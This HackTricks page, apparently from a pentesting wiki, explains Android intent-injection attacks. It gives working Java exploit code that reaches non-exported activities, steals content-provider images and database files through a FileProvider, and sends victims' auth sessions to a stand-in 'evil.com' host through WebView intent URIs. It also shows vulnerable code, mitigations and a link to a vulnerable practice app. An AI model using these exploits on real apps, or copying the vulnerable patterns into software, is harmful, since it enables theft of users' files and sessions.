hacktricks/mobile-apps-pentesting/android-app-pentesting/intent-injection.md

280 lines
14 KiB
Markdown
Raw Normal View History

2021-07-19 19:50:23 +00:00
# Intent Injection
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)\*\*\*\*
## Introduction
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.
Many developers make **use** of this **feature** and create **proxy** **components** \(activities, broadcast receivers and services\) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.
{% hint style="info" %}
As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them.
{% endhint %}
## A typical case
Let us examine an example. Fragment of the `AndroidManifest.xml` file
```markup
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
```
Activity `ProxyActivity`
```java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
```
Activity `AuthWebViewActivity`
```java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```
`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the users authentication session to a URL obtained from the `url` parameter.
Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
```
throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`.
But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**:
```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android systems built-in restrictions.
## Escalation of Impact
In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** \(as the vulnerability by it's own isn't creating any risks\).
### Escalation of attacks via Content Providers
Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable apps Content Providers** that satisfy the following conditions:
* it must be **non-exported** \(otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article\)
* it must have the **`android:grantUriPermissions`** flag set to **`true`**.
* `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**.
* `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child `<grant-uri-permission>`** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`.
The attacker must set itself as the recipient of an embedded intent and set the following flags
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider \(without this flag, the access is one-time only\)
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the providers content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider \(such as `query`, `openFile`, `openAssetFile`\)
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations
An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
```markup
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
```
Example of the theft of user pictures `AndroidManifest.xml` file
```markup
<activity android:name=".LeakActivity" android:exported="true" />
```
`MainActivity.java` file
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
```
### Attacks on Android File Provider
This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**.
Example file provider \(for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)\)
```markup
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
```
It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml`
It may look somewhat like
```markup
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
```
Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")`
The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files.
Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java`
```java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```
`LeakActivity.java`
```java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
```
### Access to arbitrary components via WebView
An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView \(the apps built-in browser\): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**.
**This vulnerability can be exploited both via other vulnerabilities** \(e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism\) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side
Example of vulnerable code
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
The point here is that the `shouldOverrideUrlLoading(...)` method of class `WebViewClient` is called each time WebView tries to load a new link, but gives the app the option of adding a custom handler.
To exploit this vulnerability the attacker needs to create a WebView redirect to a specially prepared intent-scheme URL. Example of URL creation
```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
```
Example attack
```java
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
```
This version contains **several restrictions compared to the classic versio**n of the vulnerability:
* Embedded `Parcelable` and `Serializable` objects cannot be cast to string \(they will be ignored\)
* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` \(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare
Many developers still forget to carry out a complete filtering of intents received via WebView
```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
```
The attacker can specify a non-exported component via a selector
```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
```
And bypass the apps protection against explicit intents. We therefore recommend filtering the selector as well
```java
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
```
But even complete filtering does not guarantee complete protection, because an attacker can create an implicit intent corresponding to the `intent-filter` of some non-exported activity. Example of an activity declaration:
```markup
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
```
```java
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
```
We therefore recommend checking that an activity is exported before it is launched.
### Other ways of creating insecure intents
Some app developers implement their **own intent parsers** \(often to handle **deeplinks** or push messages\), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it
```java
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```
## Vuln app
{% embed url="https://github.com/oversecured/ovaa" %}